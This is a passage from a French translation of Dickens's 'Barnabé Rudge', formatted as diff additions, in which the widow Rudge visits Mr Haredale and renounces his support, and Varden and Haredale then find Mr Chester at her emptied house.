+jamais ne parut! Quelles avaient été ses craintes, ses doutes, et
+cependant ses espérances, longtemps encore après avoir acquis la
+conviction d'un mal sans remède! Les petits stratagèmes qu'elle
+avait inventés pour l'éprouver, les petites marques qu'il avait
+données dans ses actes enfantins, non pas de stupidité, mais de
+quelque chose d'infiniment pis, tant sa malice était affreuse et
+peu semblable à l'espièglerie d'un enfant, lui revinrent à la
+mémoire aussi vivement que si cela se fût passé la veille. La
+chambre dans laquelle ils se tenaient d'ordinaire, la place où
+était son berceau, lui-même enfin avec sa figure de vieux petit
+marmouset, mais toujours chéri de sa mère, fixant sur elle un oeil
+égaré et sans regard, et bourdonnant quelque chant bigarre, tandis
+que, assise à ses côtés, elle le berçait, toutes les circonstances
+de son enfance se représentèrent en foule, et les plus triviales
+furent peut-être les plus distinctes.
+
+Sa seconde enfance aussi; les étranges imaginations qu'il avait;
+sa terreur de certaines choses insensibles, objets familiers qu'il
+animait et douait de la vie; la marche lente et graduelle de cette
+subite horreur, au milieu de laquelle, avant sa naissance, son
+intelligence obscurcie était éclose; comment, au milieu de tout
+cela, elle avait trouvé quelque espérance et quelque consolation à
+voir qu'il ne ressemblait pas aux autres enfants; comment elle en
+était presque venue à croire au tardif développement de sa raison,
+jusqu'à ce qu'il fût devenu un homme, et qu'alors son enfance fût
+complète et durable: toutes ces anciennes pensées jaillirent de
+suite dans son esprit, plus fortes après leur long sommeil et plus
+amères que jamais.
+
+Elle prit son bras, et ils traversèrent à la hâte la rue du
+village. C'était bien le même village tel qu'elle l'avait connu
+jadis; néanmoins elle le trouvait un peu changé; il avait un autre
+air. Le changement venait d'elle et non de lui, mais elle ne
+songeait pas à cela; elle s'étonnait de ne plus lui retrouver la
+même physionomie; elle se demandait à quoi cela tenait.
+
+Tout le monde reconnut Barnabé; les enfants s'attroupèrent autour
+de lui, comme elle se souvenait de l'avoir fait avec leurs pères
+et leurs mères autour de quelque mendiant idiot, lorsqu'elle était
+un enfant elle-même. Mais personne ne la reconnut. Ils passèrent
+devant chaque maison qu'elle se rappelait bien, chaque cour,
+chaque enclos; et, pénétrant dans les champs, ils se retrouvèrent
+bientôt seuls.
+
+La Garenne fut le terme de leur voyage. M. Haredale se promenait
+dans le jardin; il les vit passer devant la porte de fer, et
+l'ayant ouverte, il leur dit d'entrer par là.
+
+«Enfin, vous avez eu le courage de visiter l'antique demeure, dit-
+il à la veuve. Je vous sais gré de cet effort.
+
+-- J'y viens pour la première fois, monsieur, et pour la dernière,
+répliqua-t-elle.
+
+-- La première depuis bien des années, mais non pas la dernière.
+
+-- Oh! la dernière.
+
+-- Voulez-vous dire, repartit M. Haredale, en la regardant avec
+quelque surprise, qu'après avoir fait cet effort, vous êtes
+résolue de ne pas y persévérer, et que vous allez retomber dans
+votre faiblesse? Ce serait indigne de vous. Je vous ai souvent dit
+que vous devriez revenir ici. Vous y seriez plus heureuse que
+partout ailleurs, j'en suis sûr. Quant à Barnabé, il est ici comme
+chez lui.
+
+-- Et Grip aussi,» dit Barnabé en présentant son petit panier
+ouvert.
+
+Le corbeau sautilla gravement dehors, se percha sur l'épaule de
+son maître, et, s'adressant à M. Haredale, il cria, comme pour
+donner à entendre peut-être que quelque rafraîchissement modéré ne
+serait pas de refus:
+
+«Polly, mettez la bouilloire au feu, nous prendrons tous du thé!
+
+-- Écoutez-moi, Marie, dit affectueusement M. Haredale, comme il
+lui faisait signe de le suivre vers la maison. Votre vie a été un
+exemple de patience et de courage, sauf cette unique faiblesse qui
+m'a souvent causé beaucoup de peine. C'est bien assez de savoir
+que vous fûtes cruellement enveloppée dans la catastrophe qui me
+priva d'un frère unique et Emma de son père, sans être obligé de
+supposer (comme cela m'arrive parfois) que vous nous associez avec
+l'auteur de notre double infortune.
+
+-- Vous associer avec lui, monsieur! s'écria-t-elle.
+
+-- Réellement, dit M. Haredale, je vous en accuse quelquefois. Je
+suis tenté de croire que, comme de nombreux liens attachaient
+votre mari à notre parent, et qu'il est mort à son service et pour
+sa défense, vous en êtes venue en quelque sorte à nous confondre
+dans l'assassinat dont il a été victime aussi.
+
+-- Hélas! répondit-elle, que vous connaissez peu mon coeur,
+monsieur! que vous êtes loin de la vérité!
+
+-- C'est une idée si naturelle! Il est probable qu'elle vous vient
+malgré vous et à votre insu, dit M. Haredale, se parlant à lui-
+même plutôt qu'à elle. Nous sommes une maison déchue. L'argent,
+dispensé de la main la plus prodigue, ne serait qu'une pauvre
+indemnité pour des souffrances telles que les vôtres; répandu avec
+économie par des mains aussi étroitement serrées que les nôtres,
+il devient une misérable dérision. Je sens cela, Dieu le sait,
+ajouta-t-il avec précipitation. Pourquoi m'étonnerais-je qu'elle
+le sente aussi?
+
+-- Vous me faites vraiment tort, cher monsieur, répondit-elle avec
+une grande vivacité; et quand vous aurez entendu ce que je désire
+avoir la permission de vous dire...
+
+-- Je verrai mes soupçons se confirmer? dit-il en observant
+qu'elle balbutiait et devenait confuse. C'est bien!»
+
+Il accéléra sa marche pendant quelques pas, mais il revint bientôt
+se mettre à ses côtés.
+
+«Et enfin, dit-il, vous avez fait tout ce chemin seulement pour me
+parler?
+
+-- Oui, répliqua-t-elle.
+
+-- Malédiction, murmura-t-il, sur notre pitoyable position de
+gueux orgueilleux, également déplacés que nous sommes près du
+riche et près du pauvre! l'un forcé de nous traiter avec une
+apparence de froid respect, l'autre nous montrant de la
+condescendance en toutes ses actions et ses paroles, et nous
+tenant davantage à distance à mesure qu'il nous approche. Dites-
+moi, au lieu de vous donner la peine de rompre pour si peu de
+chose la chaîne d'habitude qu'ont forgée vingt-deux ans d'absence,
+ne pouviez-vous pas me faire connaître votre désir de recevoir ma
+visite?
+
+-- Je n'en ai pas eu le temps, monsieur, répondit-elle. Je n'ai
+pris ma résolution que la nuit dernière, et l'ayant prise, j'ai
+senti qu'il me fallait sans perdre un jour, un jour? pas même une
+heure, avoir un entretien avec vous.»
+
+Ils avaient, pendant ce dialogue, atteint la maison. M. Haredale
+s'arrêta un moment et la regarda comme s'il était étonné de
+l'énergie de ses manières. Remarquant, toutefois, qu'elle n'avait
+pas l'air de faire attention à lui, mais qu'elle levait les yeux
+et jetait, en frissonnant, un regard sur ces vieilles murailles
+qui s'unissaient dans son esprit à de semblables horreurs, il la
+mena par un escalier particulier dans sa bibliothèque, où Emma
+était à lire, assise à la fenêtre.
+
+Cette jeune personne, voyant qui s'approchait, se leva
+précipitamment et mit son livre de côté; puis avec beaucoup de
+paroles affectueuses, et non sans larmes, elle voulut faire à la
+veuve l'accueil le plus empressé, le plus cordial. Mais celle-ci
+se déroba à son embrassement comme si elle avait peur d'elle, et
+s'affaissa tremblante sur une chaise.
+
+«C'est l'effet de votre retour ici après une si longue absence,
+dit Emma avec douceur. Sonnez, je vous prie, cher oncle, ou plutôt
+ne bougez pas: Barnabé courra lui-même demander du vin.
+
+-- Non, pour tout au monde, cria la veuve. Il aurait un autre
+goût. Je ne pourrais pas y toucher. Je n'ai besoin que d'une
+minute de repos; rien que cela.»
+
+Mlle Haredale resta debout auprès de sa chaise, la regardant avec
+une compassion silencieuse. Elle demeura un peu de temps tout à
+fait tranquille; puis elle se leva et se tourna vers M. Haredale,
+qui s'était assis dans sa bergère et la contemplait avec
+l'attention la plus soutenue.
+
+La légende rattachée au manoir semblait, comme nous l'avons déjà
+dit, le prédestiner à devenir le théâtre d'un crime pareil à celui
+qui avait ensanglanté ses murs. La chambre dans laquelle ils se
+trouvaient, voisine de la chambre même où le meurtre s'était
+accompli, ténébreuse, mélancolique et morne, surchargée de livres
+mangés aux vers, close par des rideaux qui amortissaient et
+étouffaient chaque son, couverte d'ombres lugubres par des arbres
+dont les branches bruissantes venaient continuellement, ainsi que
+des spectres, frapper les carreaux, avait, plus que toutes les
+autres chambres de la maison, un air sinistre et funèbre. Le
+groupe même qui se trouvait là offrait des personnages appropriés
+aussi à ce lieu terrible. La veuve, avec sa figure tressaillante
+et ses yeux baissés; M. Haredale, sévère et morne, comme toujours;
+sa nièce auprès de lui, ressemblant, malgré de très grandes
+différences, au portrait de son père, qui, de la muraille noircie,
+les considérait d'un air de reproche; Barnabé, avec son regard
+vague et ses yeux mobiles; tous répondaient bien au lieu de la
+scène et aux acteurs de la légende. Le corbeau lui-même, qui avait
+sauté sur la table, où, semblable à un vieux nécromancien, il
+paraissait étudier profondément un grand volume in-folio, ouvert
+sur un pupitre, était en harmonie avec le reste: on aurait dit une
+incarnation du mauvais esprit, attendant son heure de faire le
+mal.
+
+«Je sais à peine, dit la veuve en rompant le silence, par où
+commencer. Vous allez croire qu'il y a du trouble dans ma raison.
+
+-- Tout le cours de votre vie paisible et irréprochable depuis que
+vous avez quitté la Garenne, répondit doucement M. Haredale,
+portera témoignage en votre faveur. Pourquoi craignez-vous
+d'exciter un pareil soupçon? vous ne parlez pas à des étrangers.
+Ce n'est pas la première fois que vous avez à réclamer notre
+intérêt ou notre considération. Remettez-vous. Prenez courage.
+Quelque avis ou quelque assistance que vous réclamiez de ma part,
+vous savez qu'ils vous appartiennent de droit, qu'ils vous sont
+pleinement acquis.
+
+-- Que diriez-vous donc, monsieur, si j'étais venue, répliqua-t-
+elle, moi qui n'ai pas d'autre ami que vous sur la terre, pour
+rejeter votre aide à partir de ce moment, et pour vous dire que
+désormais je me lance sur l'océan du monde, seule et sans soutien,
+prête à y enfoncer ou y surnager, selon que le ciel en décidera?
+
+-- Vous auriez, si vous étiez venue vers moi dans une semblable
+intention, dit avec calme M. Haredale, quelque motif à me donner
+sans doute d'une conduite si extraordinaire, et, malgré
+l'étonnement que pourrait me causer une résolution si soudaine et
+si étrange, naturellement je ne le traiterais pas légèrement.
+
+-- C'est là, monsieur, répondit-elle, ce qu'il y a de déplorable
+dans mon malheur. Je ne puis vous donner de motif. Ma résolution,
+sans explication aucune, est tout ce que je puis vous offrir.
+C'est mon devoir, mon devoir impérieux et forcé. Si je ne le
+remplissais pas, je serais une créature vile et criminelle.
+Maintenant que je vous ai dit cela, mes lèvres sont scellées; je
+ne puis vous en dire davantage.»
+
+Comme si elle se fût sentie soulagée d'en avoir tant dit, et que
+cela lui eût donné du nerf pour le restant de sa tâche, elle
+continua de parler d'une voix plus ferme et avec plus de courage.
+
+«Le ciel m'est témoin, comme l'est mon propre coeur (et le vôtre,
+chère demoiselle, parlera pour moi, je le sais), que j'ai vécu,
+depuis le temps dont nous avons tous d'amers sujets de nous
+souvenir, dans un dévouement et une gratitude invariables pour
+cette famille. Le ciel m'est témoin que, n'importe en quel lieu
+j'aille, je conserverai les mêmes sentiments à jamais
+inaltérables. Il m'est témoin encore qu'eux seuls me poussent dans
+la voie que je vais suivre, et dont rien à présent ne me
+détournera, aussi vrai que j'espère en la miséricorde divine.
+
+-- Voilà d'étranges énigmes, dit M. Haredale.
+
+-- Dans ce monde, monsieur, répliqua-t-elle, peut-être ne seront-
+elles jamais expliquées. Dans un autre, la vérité se découvrira
+d'elle-même. Et puisse ce temps, ajouta-t-elle à voix basse, être
+bien éloigné!
+
+-- Voyons, dit M. Haredale, si je vous comprends bien; car je
+doute de mes propres sens. Voulez-vous dire que vous êtes
+volontairement résolue à vous priver des moyens de subsistance que
+vous avez si longtemps reçus de nous; que vous êtes déterminée à
+résigner la rente que nous vous avons faite il y a vingt ans: à
+quitter votre maison, votre intérieur, tout ce qui vous
+appartient, pour recommencer une vie nouvelle; et cela pour
+quelque secret motif ou quelque monstrueuse fantaisie, qui n'est
+pas susceptible d'explication, qui n'existe que d'aujourd'hui et
+n'a pas cessé de dormir dans l'ombre pendant tout ce temps? Au nom
+de Dieu, à quelle illusion êtes-vous en proie?
+
+-- Aussi vrai que je suis profondément reconnaissante, répondit-
+elle, des bontés de ceux qui, vivants ou morts, ont été ou sont
+les propriétaires de cette maison; aussi vrai que je ne voudrais
+pas que son toit tombât et m'écrasât, ou que ses murs suassent du
+sang, lorsqu'ils entendent prononcer mon nom; aussi vrai est-il
+que je ne subsisterai plus jamais aux dépens de leur libéralité,
+ni que je ne souffrirai qu'elle aide à ma subsistance. Vous ne
+savez pas, ajouta-t-elle avec promptitude, à quels usages vos
+bienfaits peuvent être appliqués, dans quelles mains ils peuvent
+passer. Je le sais, et j'y renonce.
+
+-- Sûrement, dit M. Haredale, vous êtes maîtresse de l'emploi de
+cette rente.
+
+-- Je le fus. Je ne saurais l'être plus longtemps. Il se peut
+qu'elle soit (elle l'est) consacrée à un usage qui raille les
+morts dans leurs tombeaux. Cela ne peut que me porter malheur,
+attirer encore quelque affreuse condamnation du ciel sur la tête
+de mon cher fils, dont l'innocence souffrira des fautes de sa
+mère.
+
+-- Quels mots viens-je d'entendre là? cria M. Haredale en la
+regardant avec étonnement. Parmi quels associés êtes-vous donc
+tombée? quelle est cette faute où l'on vous aurait entraînée par
+surprise?
+
+-- Je suis coupable et pourtant innocente; j'ai tort et j'ai
+raison; pure d'intention, et contrainte de protéger et d'aider les
+méchants. Ne me questionnez pas davantage, monsieur; mais croyez
+que je suis plutôt à plaindre qu'à condamner. Il faut que
+j'abandonne demain ma maison: car, tandis que je me trouve ici,
+elle est hantée. Ma future résidence, si je veux y vivre en paix,
+doit être un mystère. Si mon pauvre garçon poussait un jour ses
+courses errantes de ce côté, ne tentez pas de découvrir notre
+asile car, si on nous relance, il nous faudra fuir encore. Et
+maintenant mon esprit est délivré de ce fardeau. Je vous conjure,
+monsieur, ainsi que vous, chère mademoiselle Haredale d'avoir
+confiance en moi, si vous pouvez, et de penser à moi aussi
+affectueusement que vous aviez accoutumé de le faire. Si je meurs
+sans pouvoir dire mon secret, même alors (car cela peut arriver),
+grâce à l'oeuvre d'aujourd'hui, ma poitrine sera plus légère à
+l'heure suprême, et le jour de ma mort, et chaque jour jusqu'à ce
+que celui-là vienne, je prierai pour vous deux, je vous
+remercierai et ne vous troublerai plus jamais.»
+
+Cela dit, elle voulait les quitter, mais ils la retinrent, et,
+avec beaucoup de paroles d'encouragement et d'affectueuses
+instances, ils la supplièrent de considérer ce qu'elle faisait et
+par dessus tout d'avoir en eux plus de confiance et de leur dire
+ce qui accablait son esprit d'une façon si navrante. La voyant
+sourde à leurs efforts de persuasion, M. Haredale s'avisa d'une
+dernière ressource il suggéra l'idée que la veuve prît pour
+confidente Emma, qui, à raison de sa jeunesse et de son sexe,
+l'effrayerait peut-être moins que lui. Cette proposition,
+toutefois, la fit reculer avec la même expression de répugnance
+qu'elle avait manifestée au commencement de leur entrevue. Tout ce
+qu'on put obtenir d'elle, ce fut une promesse de recevoir chez
+elle M. Haredale le lendemain soir, et d'employer cet intervalle à
+réfléchir de nouveau sur sa résolution et sur leurs, conseils,
+quoiqu'il n'y eut pas du tout à espérer, leur dit-elle, aucun
+changement de sa part. Cette condition acceptée enfin, ils
+laissèrent à contrecoeur partir la veuve puisqu'elle ne voulait ni
+boire ni manger dans la maison, et en conséquence, elle, Barnabé
+et Grip s'en allèrent, comme ils étaient venus, par l'escalier
+particulier et la porte du jardin, sans voir personne et sans que
+personne les vît sur le chemin.
+
+Une chose remarquable chez le corbeau, c'est que, durant tout le
+cours de l'entrevue, il tint ses yeux fixés sur son livre,
+exactement de l'air du plus rusé coquin qui aurait feint de lire
+avec une extrême attention, mais qui aurait tout écouté, sans
+perdre un seul mot. Il fallait même que la conversation qu'il
+venait d'entendre occupât fortement son esprit: car, lorsqu'ils
+furent seuls tous les trois, tout en donnant des ordres pour
+l'immédiate préparation d'innombrables bouilloires dans le but de
+prendre du thé, il restait pensif et semblait plutôt céder à un
+sentiment abstrait de devoir qu'au désir de se rendre agréable et
+d'être ce qu'on appelle communément de bonne compagnie.
+
+Les voyageurs devaient retourner à Londres par la diligence. Comme
+il y avait un intervalle de deux grandes heures avant qu'elle
+partît, et qu'ils avaient besoin de repos et de quelque
+nourriture, Barnabé insista pour une visite au Maypole; mais sa
+mère, qui ne souhaitait pas d'être reconnue, et qui craignait en
+outre que M. Haredale, après réflexion, n'envoyât à sa recherche
+quelque messager vers cet établissement, proposa d'attendre dans
+le cimetière au lieu d'aller au Maypole. Rien n'étant plus aisé
+pour Barnabé que d'acheter et d'apporter là les humbles aliments
+qu'il leur fallait, celui-ci consentit avec joie; et bientôt ils
+furent assis dans le cimetière à prendre leur frugal repas.
+
+Là encore, le corbeau prit une attitude de haute méditation; il se
+promena de long en large quand il eut dîné, de l'air d'un grave
+gentleman et avec une telle importance, qu'il ne lui manquait plus
+que d'avoir ses mains sous les pans retroussés de son habit; il
+fit semblant de lire les pierres tumulaires en critique consommé.
+Quelquefois, après avoir longuement examiné une épitaphe, il
+aiguisait son bec sur la tombe et criait d'un ton rauque: «Je suis
+un démon, je suis un démon, je suis un démon!» Après cela, il
+n'est pas sûr du tout qu'il adressât ces allusions à la personne
+qui était censée reposer dessous; il est bien possible qu'il ne
+les vociférât que comme une réflexion générale.
+
+Le cimetière était un joli endroit fort paisible, mais bien triste
+pour la mère de Barnabé, car M. Reuben Haredale gisait là, et,
+près du caveau où ses cendres reposaient, elle pouvait voir une
+pierre élevée à la mémoire de son propre époux, avec une courte
+inscription mentionnant quand et comment il avait perdu la vie.
+Elle s'assit là, pensive et à l'écart, jusqu'à ce que leur temps
+se fût écoulé, et que le son lointain du cor annonçât que la
+diligence arrivait.
+
+Barnabé, qui dormait sur le gazon, bondit à ce bruit, et Grip, qui
+parut l'entendre aussi bien que lui, entra tout droit dans son
+panier, suppliant la société en général (comme s'il voulait faire
+une espèce de satire contre ceux qui avaient des rapports avec les
+cimetières) de ne jamais «avoir peur» dans aucun cas. Ils furent
+bientôt tous trois perchés sur la diligence et roulèrent sur la
+route.
+
+On passa devant le Maypole et on s'arrêta à la porte. Joe était
+absent, Hugh vint, avec sa nonchalance accoutumée, tendre le
+paquet demandé. Il n'y avait pas à craindre que le vieux John
+sortît. Ils purent, du faîte de la diligence, le voir profondément
+endormi dans son confortable comptoir. C'était là une
+particularité du caractère de John. Il se faisait un point
+d'honneur d'aller dormir à l'heure de la diligence, il dédaignait
+de flâner par là; il regardait les diligences comme des choses qui
+auraient dû être poursuivies en justice, parce qu'elles
+troublaient le repos de l'humanité, comme des inventions d'une
+activité continuelle, sans cesse en mouvement, toujours affairées,
+ne servant qu'à souffler dans un cor, tout à fait au-dessous de la
+dignité d'hommes et convenant seulement à de folles jeunes filles
+qui ne savaient que babiller et courir les boutiques. «Nous ne
+nous occupons pas ici des diligences, monsieur, avait coutume de
+répondre John, si quelque étranger mal chanceux prenait auprès de
+lui quelque information sur ces odieux véhicules, nous
+n'enregistrons pas pour les diligences, elles donnent plus
+d'embarras qu'elles ne valent, avec leur bruit et leur tintamarre.
+Si vous voulez les attendre, vous le pouvez, mais nous ne nous
+occupons pas d'elles, il est possible qu'elles s'arrêtent, il est
+possible qu'elles ne s'arrêtent pas, il y a un messager, on le
+trouvait fort suffisant pour nous quand j'étais petit garçon.»
+
+Elle baissa son voile lorsque Hugh grimpa et tandis qu'il causa
+avec Barnabé en chuchotant, mais ni lui ni aucune autre personne
+ne lui parla, ni ne fit attention à elle, ni ne montra la moindre
+curiosité à son sujet, et ce fut ainsi que, comme une étrangère,
+elle visita et quitta le village où elle était née, où elle avait
+vécu joyeuse enfant, gracieuse jeune fille, heureuse épouse, où
+elle avait connu toutes les jouissances de la vie, et où elle
+avait commencé la carrière de ses chagrins les plus cruels.
+
+
+
+
+CHAPITRE XXVI.
+
+
+«Et vous entendez ceci sans surprise, Varden? dit M. Haredale.
+Fort bien! Vous et elle avez toujours été les meilleurs amis, et,
+s'il est quelqu'un qui puisse la comprendre, ce doit être vous.
+
+-- Je vous demande pardon, monsieur, répondit le serrurier; je ne
+vous ai pas dit que je la comprisse. Je n'aurais pas la
+présomption de dire cela d'aucune femme. Ce n'est déjà pas si
+facile. Mais je ne suis pas aussi surpris, monsieur, que vous vous
+y attendiez, certainement.
+
+-- Puis-je vous demander pourquoi vous ne l'êtes pas, mon bon ami?
+
+-- J'ai vu, monsieur, répliqua le serrurier en se faisant
+évidemment violence, j'ai vu chez elle quelque chose qui m'a
+rempli de défiance et d'inquiétude. Elle a contracté de mauvaises
+liaisons; quand ou comment, je l'ignore; mais que sa maison soit
+le refuge d'un voleur et d'un coupe-jarret, au moins, je n'en suis
+que trop sûr. Voilà, monsieur. Maintenant, le mot est lâché.
+
+-- Varden!
+
+-- J'en appelle, monsieur, au témoignage de mes propres yeux; je
+voudrais, pour l'amour d'elle, être à demi aveugle et avoir le
+bonheur de douter de mes yeux. J'ai gardé le secret jusqu'à ce
+moment, et il restera entre vous et moi, je le sais; mais je vous
+déclare que de mes propres yeux, et bien éveillé, j'ai vu, dans le
+corridor de sa maison, un soir, après la brune, le voleur de grand
+chemin qui a volé et blessé M. Édouard Chester, et qui, cette
+nuit-là même, m'avait menacé.
+
+-- Et vous n'avez pas fait d'effort pour l'arrêter? dit vivement
+M. Haredale.
+
+-- Monsieur, répliqua le serrurier, elle-même m'en empêcha, me
+retint, de toute sa force, se pendit autour de moi jusqu'à ce
+qu'il se fut échappé.»
+
+Et ayant poussé la confidence si loin, il raconta d'une manière
+circonstanciée la scène qui s'était passée le soir en question.
+
+Ce dialogue avait lieu à voix basse dans la petite salle à manger
+du serrurier, où l'honnête Gabriel avait introduit M. Haredale à
+son arrivée. Celui-ci était venu le prier d'être son compagnon
+dans sa visite à la veuve, il désirait avoir le concours de son
+influence persuasive, et c'est cette demande qui avait été
+l'origine de la conversation.
+
+«Je me suis abstenu, dit Gabriel, de répéter un seul mot de ceci à
+qui que ce soit, car c'était de nature à ne lui faire aucun bien,
+mais à lui faire plutôt un grand mal. Je pensais et j'espérais,
+pour dire la vérité, qu'elle viendrait vers moi, me parlerait de
+cela et me dirait ce qui en était mais, quoique je me sois à
+dessein placé moi-même plusieurs fois sur son passage, elle n'a
+jamais touché ce sujet, sauf par un regard. Et vraiment, dit le
+brave homme de serrurier, il y avait beaucoup de choses dans ce
+regard, plus qu'on n'aurait pu en mettre dans un grand nombre de
+mots. Ce regard disait entre autres choses: «Ne me faites aucune
+question,» d'un air si suppliant, que je ne lui fis aucune
+question. Vous pensez, monsieur, je le sais, que je suis un vieux
+fou. Si ça vous soulage de m'appeler ainsi, ne vous gênez pas.
+
+-- Ce que vous venez de me dire me jette dans un désordre d'esprit
+extrême, dit M. Haredale après un moment de silence. Comment vous
+expliquez-vous ça?»
+
+Le serrurier secoua la tête, et regarda par la fenêtre avec
+incertitude le jour qui tombait.
+
+«Elle ne saurait s'être remariée, dit M. Haredale.
+
+-- Pas sans que vous en soyez instruit, monsieur, assurément.
+
+-- Elle pourrait me l'avoir caché, dans la crainte que ce projet
+ne l'exposât, étant connu, à quelque objection ou à quelque marque
+de répugnance. Supposons qu'elle se soit mariée imprudemment, ce
+qui n'est pas improbable, car son existence a été depuis bien des
+années une existence solitaire et monotone, et que l'homme soit
+devenu un scélérat, elle aurait un vif désir de le protéger, et
+cependant serait révoltée de ses crimes. Cela est possible. Cela
+s'accorde avec l'ensemble de sa conversation d'hier, et nous
+expliquerait entièrement sa conduite. Supposez-vous que Barnabé
+soit initié à ce mystère?
+
+-- Il est tout à fait impossible de le dire, monsieur, répondit le
+serrurier en secouant de nouveau la tête, et il est presque
+impossible de le savoir de lui. Si votre supposition est exacte,
+je tremble pour ce garçon; il n'est que trop commode à entraîner
+au mal.
+
+-- N'est-il pas possible, Varden, dit M. Haredale, à voix plus
+basse encore qu'il n'avait parlé jusque-là, que nous ayons été
+aveuglés et trompés par cette femme depuis le commencement? N'est-
+il pas possible que sa liaison ait été formée du vivant de son
+époux, et soit cause que lui et mon frère...
+
+-- Mon Dieu, monsieur, cria Gabriel en l'interrompant,
+n'entretenez pas un moment de si sombres pensées. Il y a vingt-
+deux ans, où auriez-vous trouvé une jeunesse comme elle, gaie,
+belle, riante, aux yeux brillants? souvenez-vous de ce qu'elle
+était, monsieur. Cela me remue encore le coeur à présent, oui,
+même à présent que je suis vieux, avec une fille bonne à faire une
+femme, de songer à ce qu'elle était et de voir ce qu'elle est.
+Nous changeons tous, mais c'est avec le temps; le temps fait
+honnêtement son oeuvre, et je ne m'en occupe pas. Nargue du temps,
+monsieur! usez-en bien avec lui, et c'est un bon compagnon qui
+dédaigne de prendre sur vous trop d'avantages. Mais les soucis et
+les souffrances, voilà ce qui l'a changée, voilà les démons,
+monsieur, les démons secrets, clandestins, qui vous minent, qui
+foulent aux pieds les fleurs les plus éclatantes de l'Eden, et qui
+font plus de ravage dans un mois que le temps n'en fait dans une
+année. Représentez-vous une minute ce qu'était Marie avant qu'ils
+attaquassent son coeur et sa figure dans leur fraîcheur, rendez-
+lui justice, et dites si votre soupçon est possible.
+
+-- Vous êtes un brave homme, Varden, dit M. Haredale, et vous avez
+tout à fait raison. J'ai couvé si longtemps ce triste sujet, que
+le moindre accident m'y ramène. Vous avez tout à fait raison.
+
+-- Ce n'est pas, monsieur, répliqua le serrurier, dont les yeux
+s'animaient et dont la forte voix avait l'accent de la loyauté, ce
+n'est pas parce que je lui ai fait la cour avant Rudge, et sans
+succès, que je dis qu'elle valait mieux que lui. On aurait pu dire
+de même qu'elle valait mieux que moi. Mais c'est égal, elle valait
+mieux que ça, il n'était pas assez franc ni assez ouvert pour
+elle. Je ne le reproche pas à sa mémoire, pauvre garçon, je veux
+seulement vous rappeler ce qu'elle était réellement. Quant à moi,
+je garde un vieux portrait d'elle dans mon esprit, et, tant que je
+songerai à ce portrait et au changement qu'elle a subi, elle aura
+en moi un ami solide qui s'efforcera de lui faire retrouver la
+paix. Et Dieu me damne! monsieur, cria Gabriel, pardonnez-moi
+l'expression, j'agirais de même, eût-elle épousé en un an
+cinquante voleurs de grand chemin, et je pense que ça doit être
+dans le _Manuel protestant_. Marthe a beau me dire le contraire,
+je le soutiendrai mordicus jusqu'au jour du jugement dernier!»
+
+Quand l'obscure petite salle à manger aurait été remplie d'un
+épais brouillard qui, se dissipant en un instant, l'eût laissée
+pleine d'éclat et radieuse, elle n'aurait pas pu être plus
+soudainement égayée que par cette explosion du coeur de Varden.
+Presque aussi haut et presque aussi rondement, M. Haredale cria de
+son côté: «Bien dit!» et l'invita à partir sans prolonger
+l'entretien. Gabriel y consentant très volontiers, ils montèrent
+tous deux dans une voiture de louage qui attendait à la porte, et
+qui partit aussitôt.
+
+Ils descendirent au coin de la rue, et, congédiant leur véhicule,
+ils marchèrent jusqu'à la maison. Au premier coup qu'ils
+frappèrent à la porte, pas de réponse. Le second eut le même
+résultat. Mais en réponse au troisième, qui était plus vigoureux,
+le châssis de la fenêtre de la salle à manger fut levé doucement,
+et une voix musicale cria:
+
+«Haredale, mon garçon, je suis extrêmement aise de vous voir.
+Votre santé me parait bien améliorée depuis notre dernière
+entrevue Je ne vous vis jamais plus belle mine. Comment vous
+portez-vous?»
+
+M. Haredale tourna les yeux vers la fenêtre d'où venait la voix,
+quoique cela ne fût pas nécessaire pour reconnaître l'orateur, et
+M. Chester, agitant sa main, l'accueillit courtoisement avec un
+sourire.
+
+«On va ouvrir la porte tout de suite, dit-il. Personne ici n'est
+chargé de ces fonctions qu'une femme très délabrée. Vous excuserez
+ses infirmités: si elle était plus élevée sur l'échelle sociale,
+elle se plaindrait de la goutte, mais n'ayant pour état que de
+fendre du bois et de tirer de l'eau, elle se plaint seulement d'un
+rhumatisme. Mon cher Haredale, ce sont là les distinctions
+naturelles des classes, soyez-en convaincu.»
+
+M. Haredale, dont la figure avait repris son air sombre et défiant
+dès qu'il avait entendu la voix, inclina sa tête avec roideur et
+tourna le dos à l'orateur.
+
+«Pas ouvert encore! dit M. Chester. Ah! mon Dieu! j'espère que
+l'antique créature ne s'est pas pris le pied en chemin dans
+quelque malencontreuse toile d'araignée. La voici enfin! Entrez,
+je vous prie!»
+
+M. Haredale entra, suivi du serrurier. Se tournant, d'un air très
+étonné, vers la vieille femme qui avait ouvert la porte, il
+demanda Mme Rudge et Barnabé. Ils étaient partis ensemble tout de
+bon, répliqua-t-elle en secouant sa tête chenue. Il y avait dans
+la salle à manger un gentleman qui leur en dirait peut-être
+davantage. Pour elle, c'était tout ce qu'elle en savait.
+
+«Veuillez, monsieur, dit M. Haredale, en se présentant devant ce
+nouvel occupant, me dire où est la personne que je venais voir
+ici.
+
+-- Mon cher ami, répliqua-t-il, je n'en ai pas la moindre idée.
+
+-- Vos plaisanteries sont intempestives, riposta l'autre d'un ton
+de voix étouffé, et le sujet est mal choisi. Réservez-les pour vos
+amis, au lieu de les perdre avec moi. Je ne me reconnais aucun
+titre à cette distinction, et j'ai le désintéressement de la
+refuser.
+
+-- Mon cher bon monsieur, dit M. Chester, la marche vous a
+échauffé. Asseyez-vous, je vous prie. Notre ami est...?
+
+-- Tout uniment un honnête homme, répliqua M. Haredale, et tout à
+fait indigne de votre attention.
+
+-- Monsieur, je me nomme Gabriel Varden, dit le serrurier d'un ton
+un peu brusque.
+
+-- Un estimable yeoman anglais! dit M. Chester, un très estimable
+yeoman, dont j'ai souvent entendu parler à mon fils Ned, cher
+garçon, et que j'ai souvent eu le désir de voir. Varden, mon bon
+ami, je suis enchanté de vous connaître. Vous êtes bien étonné,
+dit-il en se tournant languissamment vers M. Haredale, de me
+trouver ici? Allons, avouez que vous l'êtes.»
+
+M. Haredale le regarda (ce n'était pas d'un regard bien tendre ni
+bien amical), sourit et resta silencieux.
+
+«Le mystère va être dévoilé en un moment, dit M. Chester, en un
+moment. Allons un instant à l'écart, s'il vous plaît. Vous vous
+rappelez notre petite convention par rapport à Ned et à votre
+chère nièce, Haredale? Vous vous rappelez la liste de ceux qui les
+aidaient dans leur innocente intrigue? Vous vous rappelez que
+Barnabé et sa mère figuraient parmi eux? Mon cher garçon,
+félicitez-vous et félicitez-moi. J'ai acheté leur départ.
+
+-- Vous avez fait cela? dit M. Haredale.
+
+-- J'ai acheté leur départ, répliqua son souriant ami. J'ai jugé
